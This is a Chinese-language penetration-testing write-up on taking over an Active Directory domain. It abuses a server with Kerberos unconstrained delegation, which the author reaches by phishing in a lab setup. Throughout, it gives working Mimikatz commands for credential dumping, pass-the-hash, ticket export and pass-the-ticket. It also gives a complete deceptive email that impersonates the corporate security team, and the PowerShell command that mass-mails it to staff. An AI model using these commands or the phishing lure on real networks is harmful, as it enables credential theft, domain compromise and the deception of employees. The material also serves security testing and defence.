在最近的一次渗透测试中我遇到了一个很奇怪的问题——用常用的方法貌似没办法找到到域管理员身份认证的位置。
我先是通过文件上传功能,获取到了一台服务器的Administrator权限,用系统权限运行了WAMP,并且通过这台机器的域用户身份的哈希获得了其他几台服务器,很遗憾,依然不能找到到域管理员。
在试过常用的AD和Kerberos相关的攻击后,我们不得不重新思考攻击思路。那么服务端的攻击失败后,我们很自然的就会想到客户端的攻击。
我们可以给客户端发送带附件和链接的邮件,运气好的话,我们可以得到一个客户端,这个客户端可能保存有域管令牌。但是这个地方,钓鱼邮件回连的shell无法通过VPN防火墙。如下图

 
因此,我们要在已经拿下的服务器上安装几个监听器,这样我们就能处理多个返回的shell,或者就直接把已有的服务当成监听器进行我们的钓鱼攻击。偷个懒,我就直接用第二种了,直接用已有的服务来做。在探测了初始机器后,我发现这台web服务器的Kerberos Unconstrained Delegation是开着的。
如果一台服务器上的Kerberos Unconstrained Delegation是开启的,那就很有可能收集到用户连接服务器的令牌。这里有一篇文章是具体介绍Kerberos的授权详情的。所以我们需要做的就是创建一封钓鱼邮件,通过这封邮件可以回接到我们已拥有的服务器,接下来就是等域管理员点开这封邮件。
以下是我在实验室下作的测试:
1. pfptlab-build是我们已经获取的服务器,有管理员权限,并且可以远程桌面、PowerShell远程管理等等。
2. pfptlab-web服务器中,我们可以执行管理员命令但是不能直接访问。

 
寻找有Unconstrained Delegation的电脑
通过使用内置的AD PowerShell模块。这个模块在Windows Server 2012中是默认存在的。通过在已获得管理员权限的服务器(pfptlab-build)上执行以下命令:
PS C:\> Add-WindowsFeature RSAT-AD-PowerShell
PS C:\> Import-Module ActiveDirectory
PS C:\> Get-ADComputer –Filter {(TrustedForDelegation –eq $True) –and (PrimaryGroupID –eq 515)}

 
这样我们就有了一个加壳的命令脚本Get-Unconstrained.ps1
还可以通过PowerView来找到用了Unconstrained Delegation的电脑:

 设置监听器
在开启了unconstrained delegation的服务器中(实验中的pfptlab-web),我们可以用Invoke-Mimikatz枚举出所有存在的令牌。通过这台机器的管理员所扮演的域用户的哈希,我们已经拿到这台服务器的管理员权限。注意,我们得到的令牌可能已经过期了,所以我们需要等待域管连接这台电脑。
我们可以用域用户webadmin的哈希,该用户同时也是pfptlab-web的本地管理员:
PS C:\> Invoke-Mimikatz -DumpCreds
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::pth /user:webadmin /domain:pfptlab /ntlm:[ntlm hash] /run:powershell.exe"'
以下是命令的输出:
 


 
现在,我们可以列出pfptlab-web中的令牌,再次说明,这个服务器中有开启了Unconstrained Delegation。我们可以直接访问pfptlab-build机器,那么我们 就直接通过以下命令在pfptlab-web上运行脚本。记住以下命令需要在PowerShell上运行,可以通过webadmin用户打开:
PS C:\> Invoke-Command -ScriptBlock {cd $env:TEMP} -Session $sess
PS C:\> Invoke-Command -ScriptBlock {Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'} -Session $sess

 
 
所以,假设我们已经列举到了域管账号,并且其中一个就是”Administrator”,为了知道域管是否已经连接,我们还需要用到以下的方法:
PS C:\> $output = Invoke-Command -ScriptBlock {(ls $env:temp\*.kirbi).name} -Session $sess
PS C:\> $output | sls Administrator
也许有人可以用更简单的方法自动化的完成这些事。如果域管令牌被Mimikatz保存下来了,那么第二个命令就直接可以列出pfptlab-web上的Admin的令牌了。
准备电子邮件
幸运的是,内部有邮件服务器可以让邮件相互发送,因此,发送钓鱼邮件就不是难题。通过AD用户名就能产生一堆邮箱账号。针对不同的用户可能有不同的邮件模板,以下是其中一个邮件:

Hey,
I am from the Corporate Security Team, we look after security here. We have detected multiple anomalies in the network which could be traced back to your system. It could be a virus or a trojan attack which blocks you from accessing company resources. You are required to immediately perform all of the below steps:
1. Click on Start Menu -> Type cmd.exe
2. In the Window which opens up. type ”reg query HKLM\SOFTWARE\Microsoft\”
3. Copy the contents of above command in a text file.
4. Go to \\[name of server with unconstrained delegation]\C$ and copy the file there.
5. If you are unable to access the share, just save the text file with the name Sotware_log.txt on your Desktop and we will pick it up.
 
Cheers,
 Corporate Security Team
虽然我们不是钓鱼邮件专家,但是我们可以注意到邮件上的一些点:
–没有权威的恐吓,有的只是权衡利弊
–使用术语而不是模糊的语句,要表现的好像我们真的是要把这件事情简单的解释给他们听。
–要求用户采取紧急行动。
–命令要显示很多的输出。
–让用户有一个可以选择的方法
然后,使用以下命令把邮件发出去:
PS C:\> Send-MailMessage -From "Corporate Security@client.com>" -To $recipients -Subject "Security Anomaly: Action Required" -Body (Get-Content C:\Users\buildadmin\Desktop\email.txt | Out-String) -SmtpServer [IP of internal mail server]
以下是mailbox中的一封已发送的邮件:

执行
发送邮箱后,我开始检查域管的令牌,通过Invoke-Mimikatz反复的查看。很快的,就有很多域管按照邮箱说的做了,呵呵哒:

 
现在,在我看来,最好的使用令牌的方法就是把他们复制到pfptlab-build服务器,因为这台服务器我们能直接控制。用以下语句把pfptlab-web上的令牌全部复制到pfptlab-build机器上。
PS C:\> Copy-Item \\pfptlab-web\C$\Users\WEBADM~1.PFP\AppData\Local\Temp\*.kirbi C:\tickets

 
现在我们可以使用其中一个Administrator令牌提升我们的权限:
PS C:\> Invoke-Mimikatz -Command '"kerberos::ptt [Ticket]

 
搞定,让我们一起摇摆…